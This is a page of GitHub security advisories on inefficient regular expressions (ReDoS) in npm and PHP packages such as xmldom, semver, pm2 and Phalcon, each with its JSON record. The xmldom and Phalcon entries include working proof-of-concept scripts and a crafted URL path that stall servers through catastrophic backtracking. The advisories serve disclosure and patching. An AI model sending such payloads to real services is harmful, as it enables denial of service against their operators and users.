CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
886 vulnerabilities reference this CWE, most recent first.
GHSA-X4FP-J954-R2F4
Vulnerability from github – Published: 2026-09-08 21:01 – Updated: 2026-09-08 21:01Summary
On the @xmldom/xmldom 0.8.x line, parsing an XML end tag whose name is followed by a long run
of whitespace and then a non-whitespace character triggers quadratic-time regular-expression
backtracking (ReDoS), so a single small crafted end tag stalls the Node.js event loop. It is reachable
from DOMParser.parseFromString under default options, unauthenticated, before any validity
check — an availability-only denial of service. The 0.9.x line is not affected.
Details
lib/sax.js (release-0.8.x, commit e5c1480) trims trailing whitespace from a captured end-tag name
with an unanchored global regex:
lib/sax.jsline 120: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L120
/[ \t\n\r]+$/g
Applied to a string shaped whitespace-run + one non-whitespace char (e.g. the content of an end tag
</ … x>), the engine must, for every starting position, extend [ws]+ to the end and then fail
the $ anchor when the trailing non-whitespace char is present — classic O(n²) backtracking in the
length of the whitespace run. The trimmed substring is delimited only by indexOf('>'), so the
attacker controls its length directly.
Proof of Concept
const { DOMParser } = require('@xmldom/xmldom'); // 0.8.x
const n = 64 * 1024;
const payload = '<r></' + ' '.repeat(n) + 'x>';
console.time('parse');
new DOMParser().parseFromString(payload, 'text/xml');
console.timeEnd('parse');
Measured (Node 18) — time quadruples per doubling of the whitespace run (canonical O(n²)):
| Whitespace run | Isolated regex | End-to-end parseFromString (0.8.13) |
|---|---|---|
| 4 KB | 5.6 ms | 5.7 ms |
| 8 KB | 22.7 ms | 22.5 ms |
| 16 KB | 88.6 ms | 92 ms |
| 32 KB | 354 ms | 361 ms |
| 64 KB | 1434 ms | 1452 ms |
| 128 KB | 5761 ms | — |
Impact
Availability only: a single parse of a small crafted document blocks the Node.js event loop for the duration of the quadratic scan (≈1.4 s at 64 KB; multi-second with larger inputs). No memory blow-up, no data exposure, no integrity impact. Because XML is routinely accepted from untrusted sources and parsed with default options, one request can stall a server.
Affected Versions
Affected on the 0.7.x and 0.8.x lines (the trailing-whitespace trim was added in 0.7.0, present
through 0.8.14); the fix targets the 0.8.x LTS patch. The 0.9.x line rewrote end-tag parsing to
an anchored linear matcher and never had this regex, so it is not affected. No published unscoped
xmldom is affected — the vulnerable code exists only in a 0.7.0 git tag that was never released to
npm (npm view xmldom → latest = 0.6.0).
Fix Applied
Anchors the end-tag trailing-whitespace trim so it runs in linear time instead of backtracking quadratically on a long whitespace run. Byte-identical output. Non-breaking; 0.8.x-only.
Severity note
The complexity is quadratic, not exponential, so a multi-second stall requires
tens-to-hundreds of KB of input. VA:H reflects that xmldom applies no input-size limit and the
path runs on default-options parsing, so a single unbounded parse can fully stall the event loop.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.14"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.8.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83619"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:01:09Z",
"nvd_published_at": "2026-09-01T15:17:40Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOn the `@xmldom/xmldom` **`0.8.x`** line, parsing an XML end tag whose name is followed by a long run\nof whitespace and then a non-whitespace character triggers quadratic-time regular-expression\nbacktracking (ReDoS), so a single small crafted end tag stalls the Node.js event loop. It is reachable\nfrom `DOMParser.parseFromString` under **default options**, unauthenticated, before any validity\ncheck \u2014 an availability-only denial of service. The `0.9.x` line is **not** affected.\n\n## Details\n\n`lib/sax.js` (release-0.8.x, commit `e5c1480`) trims trailing whitespace from a captured end-tag name\nwith an unanchored global regex:\n\n- `lib/sax.js` line 120: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L120\n\n```js\n/[ \\t\\n\\r]+$/g\n```\n\nApplied to a string shaped `whitespace-run + one non-whitespace char` (e.g. the content of an end tag\n`\u003c/ \u2026 x\u003e`), the engine must, for every starting position, extend `[ws]+` to the end and then fail\nthe `$` anchor when the trailing non-whitespace char is present \u2014 classic O(n\u00b2) backtracking in the\nlength of the whitespace run. The trimmed substring is delimited only by `indexOf(\u0027\u003e\u0027)`, so the\nattacker controls its length directly.\n\n## Proof of Concept\n\n```js\nconst { DOMParser } = require(\u0027@xmldom/xmldom\u0027); // 0.8.x\nconst n = 64 * 1024;\nconst payload = \u0027\u003cr\u003e\u003c/\u0027 + \u0027 \u0027.repeat(n) + \u0027x\u003e\u0027;\nconsole.time(\u0027parse\u0027);\nnew DOMParser().parseFromString(payload, \u0027text/xml\u0027);\nconsole.timeEnd(\u0027parse\u0027);\n```\n\nMeasured (Node 18) \u2014 time quadruples per doubling of the whitespace run (canonical O(n\u00b2)):\n\n| Whitespace run | Isolated regex | End-to-end `parseFromString` (0.8.13) |\n|---|---|---|\n| 4 KB | 5.6 ms | 5.7 ms |\n| 8 KB | 22.7 ms | 22.5 ms |\n| 16 KB | 88.6 ms | 92 ms |\n| 32 KB | 354 ms | 361 ms |\n| 64 KB | 1434 ms | 1452 ms |\n| 128 KB | 5761 ms | \u2014 |\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic scan (\u22481.4 s at 64 KB; multi-second with larger inputs). No memory\nblow-up, no data exposure, no integrity impact. Because XML is routinely accepted from untrusted\nsources and parsed with default options, one request can stall a server.\n\n## Affected Versions\n\nAffected on the `0.7.x` and `0.8.x` lines (the trailing-whitespace trim was added in `0.7.0`, present\nthrough `0.8.14`); the fix targets the `0.8.x` LTS patch. The `0.9.x` line rewrote end-tag parsing to\nan anchored linear matcher and never had this regex, so it is **not** affected. No published unscoped\n`xmldom` is affected \u2014 the vulnerable code exists only in a `0.7.0` git tag that was never released to\nnpm (`npm view xmldom` \u2192 `latest` = 0.6.0).\n\n## Fix Applied\n\nAnchors the end-tag trailing-whitespace trim so it runs in linear time instead of\nbacktracking quadratically on a long whitespace run. Byte-identical output. Non-breaking; 0.8.x-only.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no input-size limit** and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.",
"id": "GHSA-x4fp-j954-r2f4",
"modified": "2026-09-08T21:01:09Z",
"published": "2026-09-08T21:01:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x4fp-j954-r2f4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83619"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1072"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09"
},
{
"type": "PACKAGE",
"url": "https://github.com/xmldom/xmldom"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "xmldom: End-tag Whitespace-Trim Regex ReDoS \u2014 quadratic backtracking in the 0.8.x end-tag parser"
}
GHSA-X4HG-HFWF-P9MW
Vulnerability from github – Published: 2026-07-02 20:20 – Updated: 2026-07-02 20:20Summary
The HTMLInputElement.checkValidity() method constructed a RegExp directly from the user-controlled pattern property without any sanitization or timeout protection. This allowed an attacker to inject a regex with catastrophic backtracking, freezing the event loop.
Fix
Fixed in commit https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b on main. Added:
- Pattern length limit (1024 characters)
- Nested quantifier detection (hasNestedQuantifiers) that rejects patterns like (a+)+ before constructing the regex
- Patterns exceeding limits are treated as non-matching (safe default)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.21"
},
"package": {
"ecosystem": "npm",
"name": "@asymmetric-effort/nogginlessdom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:20:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `HTMLInputElement.checkValidity()` method constructed a `RegExp` directly from the user-controlled `pattern` property without any sanitization or timeout protection. This allowed an attacker to inject a regex with catastrophic backtracking, freezing the event loop.\n\n## Fix\n\nFixed in commit https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b on `main`. Added:\n- Pattern length limit (1024 characters)\n- Nested quantifier detection (`hasNestedQuantifiers`) that rejects patterns like `(a+)+` before constructing the regex\n- Patterns exceeding limits are treated as non-matching (safe default)",
"id": "GHSA-x4hg-hfwf-p9mw",
"modified": "2026-07-02T20:20:04Z",
"published": "2026-07-02T20:20:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/NogginLessDom/security/advisories/GHSA-x4hg-hfwf-p9mw"
},
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/asymmetric-effort/NogginLessDom"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@asymmetric-effort/nogginlessdom vulnerable to ReDoS via user-controlled regex in HTMLInputElement pattern validation"
}
GHSA-X55W-VJJP-222R
Vulnerability from github – Published: 2021-09-29 17:12 – Updated: 2022-08-10 23:43inflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "i"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3820"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-28T19:27:17Z",
"nvd_published_at": "2021-09-27T13:15:00Z",
"severity": "HIGH"
},
"details": "inflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity",
"id": "GHSA-x55w-vjjp-222r",
"modified": "2022-08-10T23:43:58Z",
"published": "2021-09-29T17:12:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3820"
},
{
"type": "WEB",
"url": "https://github.com/pksunkara/inflect/commit/a9a0a8e9561c3487854c7cae42565d9652ec858b"
},
{
"type": "PACKAGE",
"url": "https://github.com/pksunkara/inflect"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/4612b31a-072b-4f61-a916-c7e4cbc2042a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "inflect vulnerable to Inefficient Regular Expression Complexity"
}
GHSA-X5CV-MQXQ-8Q96
Vulnerability from github – Published: 2023-05-05 00:30 – Updated: 2024-04-04 03:49A Regular Expression Denial of Service (ReDoS) issue was discovered in Puppet Server 7.9.2 certificate validation. An issue related to specifically crafted certificate names significantly slowed down server operations.
{
"affected": [],
"aliases": [
"CVE-2023-1894"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T23:15:08Z",
"severity": "MODERATE"
},
"details": "A Regular Expression Denial of Service (ReDoS) issue was discovered in Puppet Server 7.9.2 certificate validation. An issue related to specifically crafted certificate names significantly slowed down server operations.",
"id": "GHSA-x5cv-mqxq-8q96",
"modified": "2024-04-04T03:49:17Z",
"published": "2023-05-05T00:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1894"
},
{
"type": "WEB",
"url": "https://www.puppet.com/security/cve/cve-2023-1894-puppet-server-redos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X5GF-QVW8-R2RM
Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2026-05-20 02:06A vulnerability classified as problematic was found in Unitech pm2 prior to 7.0.0. This vulnerability affects unknown code of the file /lib/tools/Config.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-5891"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T22:52:17Z",
"nvd_published_at": "2025-06-09T19:15:25Z",
"severity": "LOW"
},
"details": "A vulnerability classified as problematic was found in Unitech pm2 prior to 7.0.0. This vulnerability affects unknown code of the file /lib/tools/Config.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-x5gf-qvw8-r2rm",
"modified": "2026-05-20T02:06:26Z",
"published": "2025-06-09T21:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5891"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/issues/6075"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/pull/5971"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/commit/8b9354800a1d157cb9503a3ec414ef1e4700dc1c"
},
{
"type": "WEB",
"url": "https://gist.github.com/mmmsssttt404/407e2ffe3e0eaa393ad923a86316a385"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unitech/pm2"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/blob/ba62cae9b9b7116ee758b70f538919a52515fa26/CHANGELOG.md?plain=1#L36"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/releases/tag/v7.0.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311662"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311662"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585750"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "pm2 Regular Expression Denial of Service vulnerability"
}
GHSA-X6FG-F45M-JF5Q
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2026-03-03 20:03Versions 4.3.1 and earlier of semver are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Recommendation
Update to version 4.3.2 or later
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "semver"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.4"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8855"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:02:25Z",
"nvd_published_at": "2017-01-23T21:59:00Z",
"severity": "HIGH"
},
"details": "Versions 4.3.1 and earlier of `semver` are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n\n## Recommendation\n\nUpdate to version 4.3.2 or later",
"id": "GHSA-x6fg-f45m-jf5q",
"modified": "2026-03-03T20:03:27Z",
"published": "2017-10-24T18:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8855"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/7102"
},
{
"type": "WEB",
"url": "https://github.com/npm/node-semver/commit/5c4c9f6e26c7052a42b5ced2a7481c5c9b4363a0"
},
{
"type": "WEB",
"url": "https://github.com/npm/node-semver/commit/c80180d8341a8ada0236815c29a2be59864afd70"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-x6fg-f45m-jf5q"
},
{
"type": "PACKAGE",
"url": "https://github.com/npm/node-semver"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/31"
},
{
"type": "WEB",
"url": "https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/04/20/11"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/86957"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in semver"
}
GHSA-X7RJ-F32V-7JJG
Vulnerability from github – Published: 2026-08-28 16:06 – Updated: 2026-08-28 16:06Summary
Every Phalcon MVC application built with a default router (new Phalcon\Mvc\Router() or new Phalcon\Mvc\Router(true), which is the normal case) registers a built-in route whose compiled PCRE pattern is #^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u. The trailing (/.*)* is a nested quantifier whose group body (/.*) overlaps itself (. matches /, and there is no s/DOTALL flag), so when the final $ is forced to fail the engine explores roughly 2^(N/2) ways to split a run of N slashes, causing classic catastrophic backtracking. Phalcon\Mvc\Router::handle() runs on every request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same (/.*)* construct is also produced by the /:params placeholder (Phalcon\Mvc\Router\Route::compilePattern()) and by the CLI router (Phalcon\Cli\Router / Phalcon\Cli\Router\Route).
Details
The vulnerable pattern is emitted in four places, all carrying the same * nested quantifier:
- Default MVC route registration
phalcon/Mvc/Router.zep(Router::__construct()):"#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u", with paths["controller": 1, "action": 2, "params": 3]. /:paramsplaceholder expansionsphalcon/Mvc/Router/Route.zep(Route::compilePattern()):str_replace("/:params", "(/.*)*", pattern).- Default CLI route
phalcon/Cli/Router.zep(Router::__construct()):"#^(?::delimiter)?([a-zA-Z0-9\\_\\-]+):delimiter([a-zA-Z0-9\\.\\_]+)(:delimiter.*)*$#". - CLI
/:paramsexpansionphalcon/Cli/Router/Route.zep(Route::compilePattern()):"(" . this->delimiter . ".*)*".
Router::handle() matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call preg_match() with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since . does not match \n), the anchored $ cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.
Remote reachability
In the default MVC configuration the router uses URI_SOURCE_GET_URL, i.e. it reads the request path from $_GET["_url"], which the web server populates from the rewritten request path. PHP URL-decodes $_GET, so a request path containing %0a%0a arrives as the literal two-byte string "\n\n". The two newlines are the trigger: . cannot match \n, and PCRE's $ forgives exactly one trailing \n, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.
Example malicious request path (≈40 bytes): /a/a////////////////////////////////%0a%0a (two short segments, a run of /, then %0a%0a).
Applications configured with URI_SOURCE_SERVER_REQUEST_URI are not reachable through this specific newline trick because REQUEST_URI is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.
Proof of Concept
<?php
use Phalcon\Di\FactoryDefault;
use Phalcon\Mvc\Router;
$di = new FactoryDefault();
$router = new Router(true); // defaultRoutes = true (the default)
$router->setDI($di);
echo "phalcon : " . phpversion("phalcon") . "\n";
echo "pcre.backtrack_limit: " . ini_get("pcre.backtrack_limit") . "\n";
echo "pcre.jit : " . ini_get("pcre.jit") . "\n";
// Default configuration
foreach ($router->getRoutes() as $r) {
if (strpos($r->getCompiledPattern(), "(/.*)*") !== false) {
echo "vulnerable route : " . $r->getCompiledPattern() . "\n";
}
}
echo "\n";
function bench(Router $router, string $uri, string $label): void
{
$t0 = hrtime(true);
try {
$router->handle($uri);
} catch (\Throwable $e) {
// matching failure and fallback to time
}
$ms = (hrtime(true) - $t0) / 1e6;
printf(" %-22s uri_len=%4d %10.3f ms\n", $label, strlen($uri), $ms);
}
bench($router, "/products/edit/123", "normal URL");
echo "\n";
// Malicious: two short segments, then a run of slashes, then "\n\n" (the decoded %0a%0a).
$ks = getenv("REDOS_KS") ? array_map("intval", explode(",", getenv("REDOS_KS")))
: [14, 18, 22, 26, 30, 34];
foreach ($ks as $k) {
$uri = "/a/a" . str_repeat("/", $k) . "\n\n";
bench($router, $uri, "evil slashes=$k");
}
echo "\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\n";
echo "to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\n";
echo "(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\n";
in poc above builds a default Phalcon\Mvc\Router, confirms the live compiled pattern contains (/.*)*, and times $router->handle($uri) (the real request path) for crafted URIs of the form "/a/a" . str_repeat("/", k) . "\n\n". Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):
phalcon : 5.14.2
vulnerable route : #^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u
DEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)
normal URL uri_len= 18 1.182 ms
evil slashes=22 uri_len= 28 1.016 ms
evil slashes=34 uri_len= 40 1.015 ms (plateau = backtrack-limit bail)
RAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)
evil slashes=18 uri_len= 24 5.555 ms
evil slashes=22 uri_len= 28 90.317 ms
evil slashes=24 uri_len= 30 356.800 ms
evil slashes=26 uri_len= 32 1426.734 ms
evil slashes=28 uri_len= 34 5727.099 ms
The curve is cleanly exponential each four extra slashes multiplies the time by ~16× (2^(N/2)). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.
Impact
Two regimes, both measured on the real build:
-
Default PHP configuration (JIT on,
pcre.backtrack_limit = 1,000,000): each match bails at the backtrack limit after a fixed ~1 ms andpreg_match()reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. -
PCRE JIT disabled, or
pcre.backtrack_limitraised: a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.14.2"
},
"package": {
"ecosystem": "Packagist",
"name": "phalcon/cphalcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57584"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:06:31Z",
"nvd_published_at": "2026-07-10T22:16:44Z",
"severity": "HIGH"
},
"details": "## Summary\n\nEvery Phalcon MVC application built with a default router (`new Phalcon\\Mvc\\Router()` or `new Phalcon\\Mvc\\Router(true)`, which is the normal case) registers a built-in route whose compiled PCRE pattern is `#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u`. The trailing `(/.*)*` is a nested quantifier whose group body (`/.*`) overlaps itself (`.` matches `/`, and there is no `s`/DOTALL flag), so when the final `$` is forced to fail the engine explores roughly `2^(N/2)` ways to split a run of `N` slashes, causing classic catastrophic backtracking. `Phalcon\\Mvc\\Router::handle()` runs on **every** request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same `(/.*)*` construct is also produced by the `/:params` placeholder (`Phalcon\\Mvc\\Router\\Route::compilePattern()`) and by the CLI router (`Phalcon\\Cli\\Router` / `Phalcon\\Cli\\Router\\Route`).\n\n\n## Details \n\nThe vulnerable pattern is emitted in four places, all carrying the same `*` nested quantifier:\n\n- Default MVC route registration `phalcon/Mvc/Router.zep` (`Router::__construct()`): `\"#^/([\\\\w0-9\\\\_\\\\-]+)/([\\\\w0-9\\\\.\\\\_]+)(/.*)*$#u\"`, with paths `[\"controller\": 1, \"action\": 2, \"params\": 3]`.\n- `/:params` placeholder expansions `phalcon/Mvc/Router/Route.zep` (`Route::compilePattern()`): `str_replace(\"/:params\", \"(/.*)*\", pattern)`.\n- Default CLI route `phalcon/Cli/Router.zep` (`Router::__construct()`): `\"#^(?::delimiter)?([a-zA-Z0-9\\\\_\\\\-]+):delimiter([a-zA-Z0-9\\\\.\\\\_]+)(:delimiter.*)*$#\"`.\n- CLI `/:params` expansion `phalcon/Cli/Router/Route.zep` (`Route::compilePattern()`): `\"(\" . this-\u003edelimiter . \".*)*\"`.\n\n`Router::handle()` matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call `preg_match()` with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since `.` does not match `\\n`), the anchored `$` cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.\n\n## Remote reachability\n\nIn the default MVC configuration the router uses `URI_SOURCE_GET_URL`, i.e. it reads the request path from `$_GET[\"_url\"]`, which the web server populates from the rewritten request path. **PHP URL-decodes `$_GET`**, so a request path containing `%0a%0a` arrives as the literal two-byte string `\"\\n\\n\"`. The two newlines are the trigger: `.` cannot match `\\n`, and PCRE\u0027s `$` forgives exactly one trailing `\\n`, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.\n\nExample malicious request path (\u224840 bytes): `/a/a////////////////////////////////%0a%0a` (two short segments, a run of `/`, then `%0a%0a`).\n\nApplications configured with `URI_SOURCE_SERVER_REQUEST_URI` are not reachable through this specific newline trick because `REQUEST_URI` is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.\n\n## Proof of Concept\n\n```php\n\u003c?php\n\nuse Phalcon\\Di\\FactoryDefault;\nuse Phalcon\\Mvc\\Router;\n\n$di = new FactoryDefault();\n$router = new Router(true); // defaultRoutes = true (the default)\n$router-\u003esetDI($di);\n\necho \"phalcon : \" . phpversion(\"phalcon\") . \"\\n\";\necho \"pcre.backtrack_limit: \" . ini_get(\"pcre.backtrack_limit\") . \"\\n\";\necho \"pcre.jit : \" . ini_get(\"pcre.jit\") . \"\\n\";\n\n// Default configuration\nforeach ($router-\u003egetRoutes() as $r) {\n if (strpos($r-\u003egetCompiledPattern(), \"(/.*)*\") !== false) {\n echo \"vulnerable route : \" . $r-\u003egetCompiledPattern() . \"\\n\";\n }\n}\necho \"\\n\";\n\nfunction bench(Router $router, string $uri, string $label): void\n{\n $t0 = hrtime(true);\n try {\n $router-\u003ehandle($uri);\n } catch (\\Throwable $e) {\n // matching failure and fallback to time\n }\n $ms = (hrtime(true) - $t0) / 1e6;\n printf(\" %-22s uri_len=%4d %10.3f ms\\n\", $label, strlen($uri), $ms);\n}\n\nbench($router, \"/products/edit/123\", \"normal URL\");\necho \"\\n\";\n\n// Malicious: two short segments, then a run of slashes, then \"\\n\\n\" (the decoded %0a%0a).\n$ks = getenv(\"REDOS_KS\") ? array_map(\"intval\", explode(\",\", getenv(\"REDOS_KS\")))\n : [14, 18, 22, 26, 30, 34];\nforeach ($ks as $k) {\n $uri = \"/a/a\" . str_repeat(\"/\", $k) . \"\\n\\n\";\n bench($router, $uri, \"evil slashes=$k\");\n}\n\necho \"\\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\\n\";\necho \"to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\\n\";\necho \"(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\\n\";\n\n\n```\n\nin poc above builds a default `Phalcon\\Mvc\\Router`, confirms the live compiled pattern contains `(/.*)*`, and times `$router-\u003ehandle($uri)` (the real request path) for crafted URIs of the form `\"/a/a\" . str_repeat(\"/\", k) . \"\\n\\n\"`. Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):\n\n```\nphalcon : 5.14.2\nvulnerable route : #^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u\n\nDEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)\n normal URL uri_len= 18 1.182 ms\n evil slashes=22 uri_len= 28 1.016 ms\n evil slashes=34 uri_len= 40 1.015 ms (plateau = backtrack-limit bail)\n\nRAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)\n evil slashes=18 uri_len= 24 5.555 ms\n evil slashes=22 uri_len= 28 90.317 ms\n evil slashes=24 uri_len= 30 356.800 ms\n evil slashes=26 uri_len= 32 1426.734 ms\n evil slashes=28 uri_len= 34 5727.099 ms\n```\n\nThe curve is cleanly 